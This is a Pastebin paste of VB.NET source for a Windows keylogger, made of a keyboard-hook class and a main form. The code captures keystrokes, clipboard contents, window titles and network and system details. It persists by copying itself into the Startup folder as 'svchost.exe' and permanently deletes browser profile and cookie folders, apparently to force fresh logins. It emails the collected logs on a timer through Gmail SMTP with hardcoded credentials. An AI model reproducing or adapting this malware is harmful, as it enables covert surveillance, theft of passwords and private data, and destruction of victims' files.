raul_fox98

KeyLogger VB.NET

Feb 3rd, 2015
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Keyboard Class:
  2.  
  3. Public Class Keyboard
  4.     Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
  5.     Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  6.     Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
  7.     Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  8.     Public Shared Event Down(ByVal Key As String)
  9.     Public Shared Event Up(ByVal Key As String)
  10.     Private Shared Key As Integer
  11.     Private Shared KHD As KDel
  12.     Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
  13.     Public Sub CreateHook()
  14.         KHD = New KDel(AddressOf Proc)
  15.         Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  16.     End Sub
  17.  
  18.     Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  19.         If (Code = 0) Then
  20.             Select Case wParam
  21.                 Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
  22.                 Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
  23.             End Select
  24.         End If
  25.         Return CallNextHookEx(Key, Code, wParam, lParam)
  26.     End Function
  27.     Public Sub DiposeHook()
  28.         UnhookWindowsHookEx(Key)
  29.         MyBase.Finalize()
  30.     End Sub
  31.     Private Function Feed(ByVal e As Keys) As String
  32.         Select Case e
  33.             Case 65 To 90
  34.                 If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
  35.                     Return e.ToString
  36.                 Else
  37.                     Return e.ToString.ToLower
  38.                 End If
  39.             Case 48 To 57
  40.                 If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  41.                     Select Case e.ToString
  42.                         Case "D1" : Return "!"
  43.                         Case "D2" : Return "@"
  44.                         Case "D3" : Return "#"
  45.                         Case "D4" : Return "$"
  46.                         Case "D5" : Return "%"
  47.                         Case "D6" : Return "^"
  48.                         Case "D7" : Return "&"
  49.                         Case "D8" : Return "*"
  50.                         Case "D9" : Return "("
  51.                         Case "D0" : Return ")"
  52.                     End Select
  53.                 Else
  54.                     Return e.ToString.Replace("D", Nothing)
  55.                 End If
  56.             Case 96 To 105
  57.                 Return e.ToString.Replace("NumPad", Nothing)
  58.             Case 106 To 111
  59.                 Select Case e.ToString
  60.                     Case "Divide" : Return "/"
  61.                     Case "Multiply" : Return "*"
  62.                     Case "Subtract" : Return "-"
  63.                     Case "Add" : Return "+"
  64.                     Case "Decimal" : Return "."
  65.                 End Select
  66.             Case 32
  67.                 Return " "
  68.             Case 186 To 222
  69.                 If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  70.                     Select Case e.ToString
  71.                         Case "OemMinus" : Return "_"
  72.                         Case "Oemplus" : Return "+"
  73.                         Case "OemOpenBrackets" : Return "{"
  74.                         Case "Oem6" : Return "}"
  75.                         Case "Oem5" : Return "|"
  76.                         Case "Oem1" : Return ":"
  77.                         Case "Oem7" : Return """"
  78.                         Case "Oemcomma" : Return "<"
  79.                         Case "OemPeriod" : Return ">"
  80.                         Case "OemQuestion" : Return "?"
  81.                         Case "Oemtilde" : Return "~"
  82.                     End Select
  83.                 Else
  84.                     Select Case e.ToString
  85.                         Case "OemMinus" : Return "-"
  86.                         Case "Oemplus" : Return "="
  87.                         Case "OemOpenBrackets" : Return "["
  88.                         Case "Oem6" : Return "]"
  89.                         Case "Oem5" : Return ""
  90.                         Case "Oem1" : Return ";"
  91.                         Case "Oem7" : Return "'"
  92.                         Case "Oemcomma" : Return ","
  93.                         Case "OemPeriod" : Return "."
  94.                         Case "OemQuestion" : Return "/"
  95.                         Case "Oemtilde" : Return "`"
  96.                     End Select
  97.                 End If
  98.             Case Keys.Return
  99.                 Return Environment.NewLine
  100.             Case Else
  101.                 Return "<" + e.ToString + ">"
  102.         End Select
  103.         Return Nothing
  104.     End Function
  105. End Class
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114. Form 1:
  115.  
  116.  
  117. Imports System.IO
  118. Imports System.ComponentModel
  119. Imports System.Net.Mail
  120. Imports Microsoft.Win32
  121.  
  122. Public Class Form1
  123.  
  124.     Dim WithEvents K As New Keyboard
  125.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  126.     Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  127.     Dim strin As String = Nothing
  128.  
  129.  
  130.     Private Sub keyboardLanguages()
  131.         For index = 0 To InputLanguage.InstalledInputLanguages.Count - 1 Step 1
  132.             TextBox2.Text = InputLanguage.InstalledInputLanguages.Item(index).LayoutName.ToString + TextBox2.Text
  133.         Next
  134.     End Sub
  135.  
  136.     Private Function GetActiveWindowTitle() As String
  137.         Dim MyStr As String
  138.         MyStr = New String(Chr(0), 100)
  139.         GetWindowText(GetForegroundWindow, MyStr, 100)
  140.         MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  141.         Return MyStr
  142.     End Function
  143.  
  144.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick      
  145.         If strin <> GetActiveWindowTitle() Then
  146.             TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine + "--->" + Clipboard.GetText.ToString + "<---" + vbNewLine + vbNewLine
  147.             strin = GetActiveWindowTitle()
  148.         End If
  149.     End Sub
  150.  
  151.     Private Sub K_Down(ByVal Key As String) Handles K.Down
  152.         TextBox1.Text &= Key
  153.     End Sub
  154.  
  155.     Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
  156.         'Windows 7 startup User
  157.         Try
  158.             Dim file1 As String = Application.ExecutablePath
  159.             Dim copy1 As String = "C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
  160.             If File.Exists(copy1) Then
  161.             Else
  162.                 System.IO.File.Copy(file1, copy1)
  163.             End If
  164.         Catch ex As Exception
  165.         End Try
  166.  
  167.         'Windows XP startup User
  168.         Try
  169.             Dim file1 As String = Application.ExecutablePath
  170.             Dim copy1 As String = "C:\Documents and Settings\" + Environment.UserName.ToString + "\Start Menu\Programs\Startup\svchost.exe"
  171.             If File.Exists(copy1) Then
  172.             Else
  173.                 System.IO.File.Copy(file1, copy1)
  174.             End If
  175.         Catch ex As Exception
  176.         End Try
  177.  
  178.     End Sub
  179.  
  180.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  181.  
  182.         keyboardLanguages()
  183.  
  184.         Select Case (My.Settings.browser)
  185.             Case 0
  186.                 My.Settings.browser = 1
  187.                 My.Settings.Save()
  188.                 My.Settings.Reload()
  189.             Case 1
  190.                 Timer4.Start()
  191.             Case 2
  192.             Case Else
  193.         End Select
  194.  
  195.         TextBox1.Text = Now() + vbNewLine + vbNewLine
  196.  
  197.         Try
  198.             Dim myProcess As New Process()
  199.             myProcess.StartInfo.UseShellExecute = False
  200.             myProcess.StartInfo.RedirectStandardOutput = True
  201.             Try
  202.                 myProcess.StartInfo.FileName = "ipconfig"
  203.                 myProcess.StartInfo.Arguments = "/all"
  204.                 myProcess.StartInfo.CreateNoWindow = True
  205.                 myProcess.Start()
  206.                 TextBox1.Text = TextBox1.Text + _
  207.                    Replace(myProcess.StandardOutput.ReadToEnd(), _
  208.                    Chr(13) & Chr(13), Chr(13))
  209.                 myProcess.WaitForExit()
  210.             Catch ex As Win32Exception
  211.             End Try
  212.         Catch ex As Exception
  213.         End Try
  214.  
  215.         Try
  216.             TextBox1.Text = vbNewLine + vbNewLine + TextBox1.Text + vbNewLine + vbNewLine + "User Name:     " + Environment.UserName.ToString
  217.             TextBox1.Text = TextBox1.Text + vbNewLine + "Computer Name:     " + Environment.MachineName.ToString
  218.             TextBox1.Text = TextBox1.Text + vbNewLine + "Screen:     " + My.Computer.Screen.WorkingArea.ToString
  219.             TextBox1.Text = TextBox1.Text + vbNewLine + "OS Version:     " + Environment.OSVersion.ToString
  220.             TextBox1.Text = TextBox1.Text + vbNewLine + "Run Time:     " + Environment.Version.ToString
  221.             TextBox1.Text = TextBox1.Text + vbNewLine + "System Root:     " + Environment.SystemDirectory.ToString
  222.             TextBox1.Text = TextBox1.Text + vbNewLine + "User Domain Name:     " + Environment.UserName.ToString
  223.             TextBox1.Text = TextBox1.Text + vbNewLine + "Total Physical Memory:     " + My.Computer.Info.TotalPhysicalMemory.ToString
  224.             TextBox1.Text = TextBox1.Text + vbNewLine + "Remain Physical Memory:     " + My.Computer.Info.AvailablePhysicalMemory.ToString
  225.             TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine
  226.  
  227.             K.CreateHook()
  228.  
  229.             Timer1.Start()
  230.             Timer2.Start()
  231.         Catch ex As Exception
  232.         End Try
  233.  
  234.     End Sub
  235.  
  236.     Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
  237.  
  238.  
  239.         'Windows 7
  240.  
  241.         ' Mozilla deletes folder and .ini file
  242.         Try
  243.             My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Mozilla\Firefox\Profiles", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  244.             System.IO.File.Delete("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Mozilla\Firefox\profiles.ini")
  245.         Catch ex As Exception
  246.         End Try
  247.  
  248.         ' Chrome deletes folder
  249.         Try
  250.             My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Local\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  251.         Catch ex As Exception
  252.         End Try
  253.  
  254.         ' IE deletes folder
  255.         Try
  256.             My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  257.         Catch ex As Exception
  258.         End Try
  259.  
  260.         ' Opera deletes folder
  261.         Try
  262.             My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Opera\Opera", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  263.         Catch ex As Exception
  264.         End Try
  265.  
  266.  
  267.  
  268.  
  269.         'Windows XP
  270.  
  271.         ' Mozilla deletes folder and .ini file
  272.         Try
  273.             My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Mozilla\Firefox\Profiles", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  274.             System.IO.File.Delete("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Mozilla\Firefox\Profiles\profiles.ini")
  275.         Catch ex As Exception
  276.         End Try
  277.  
  278.         ' Chrome deletes folder
  279.         Try
  280.             My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Local Settings\Application Data\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  281.         Catch ex As Exception
  282.         End Try
  283.  
  284.         ' IE deletes folder
  285.         Try
  286.             My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  287.         Catch ex As Exception
  288.         End Try
  289.  
  290.         ' IE deletes folder2
  291.         Try
  292.             My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Local Settings\Temp", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  293.         Catch ex As Exception
  294.         End Try
  295.  
  296.         ' Opera deletes folder
  297.         Try
  298.             My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Opera\Opera", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  299.         Catch ex As Exception
  300.         End Try
  301.  
  302.         My.Settings.browser = 2
  303.         My.Settings.Save()
  304.         My.Settings.Reload()
  305.  
  306.         Timer4.Stop()
  307.  
  308.     End Sub
  309.  
  310.     Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
  311.         Try
  312.             Dim MyMailMessage As New MailMessage()
  313.             MyMailMessage.From = New MailAddress("[email protected]")
  314.             MyMailMessage.To.Add("[email protected]")
  315.             MyMailMessage.Subject = Environment.UserName.ToString + " Turned Off Part: " + My.Settings.part.ToString
  316.             MyMailMessage.Body = TextBox1.Text
  317.             Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  318.             SMTPServer.Port = 587
  319.             SMTPServer.Credentials = New System.Net.NetworkCredential("[email protected]", "12345abcde@")
  320.             SMTPServer.EnableSsl = True
  321.             SMTPServer.Send(MyMailMessage)
  322.         Catch ex As Exception
  323.         End Try
  324.  
  325.         My.Settings.part = My.Settings.part + 1
  326.         My.Settings.Save()
  327.         My.Settings.Reload()
  328.     End Sub
  329.  
  330.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  331.         Try
  332.             Timer1.Stop()
  333.             Dim MyMailMessage As New MailMessage()
  334.             MyMailMessage.From = New MailAddress("[email protected]")
  335.             MyMailMessage.To.Add("[email protected]")
  336.             MyMailMessage.Subject = Environment.UserName.ToString + " Part: " + My.Settings.part.ToString + " " + TextBox2.Text
  337.  
  338.             MyMailMessage.Body = "Compare Info: " + My.Computer.Info.InstalledUICulture.CompareInfo.ToString + vbNewLine + _
  339.             "Display Name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine + _
  340.             "English Name: " + My.Computer.Info.InstalledUICulture.EnglishName.ToString + vbNewLine + _
  341.             "Left Language Tag: " + My.Computer.Info.InstalledUICulture.IetfLanguageTag.ToString + vbNewLine + _
  342.             "Name: " + My.Computer.Info.InstalledUICulture.Name.ToString + vbNewLine + _
  343.             "Native Name: " + My.Computer.Info.InstalledUICulture.NativeName.ToString + vbNewLine + _
  344.             "Text Info: " + My.Computer.Info.InstalledUICulture.TextInfo.ToString + vbNewLine + _
  345.             "3 Letter ISO Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine + _
  346.             "3 Letter Windows Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterWindowsLanguageName.ToString + vbNewLine + _
  347.             "2 Letter ISO Language Name: " + My.Computer.Info.InstalledUICulture.TwoLetterISOLanguageName.ToString + vbNewLine + vbNewLine + vbNewLine + TextBox1.Text
  348.             Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  349.             SMTPServer.Port = 587
  350.             SMTPServer.Credentials = New System.Net.NetworkCredential("[email protected]", "12345abcde@")
  351.             SMTPServer.EnableSsl = True
  352.             SMTPServer.Send(MyMailMessage)
  353.             TextBox1.Clear()
  354.             Timer1.Start()
  355.         Catch ex As Exception
  356.         End Try
  357.  
  358.         My.Settings.part = My.Settings.part + 1
  359.         My.Settings.Save()
  360.         My.Settings.Reload()
  361.  
  362.     End Sub
  363. End Class
Add Comment
Please, Sign In to add comment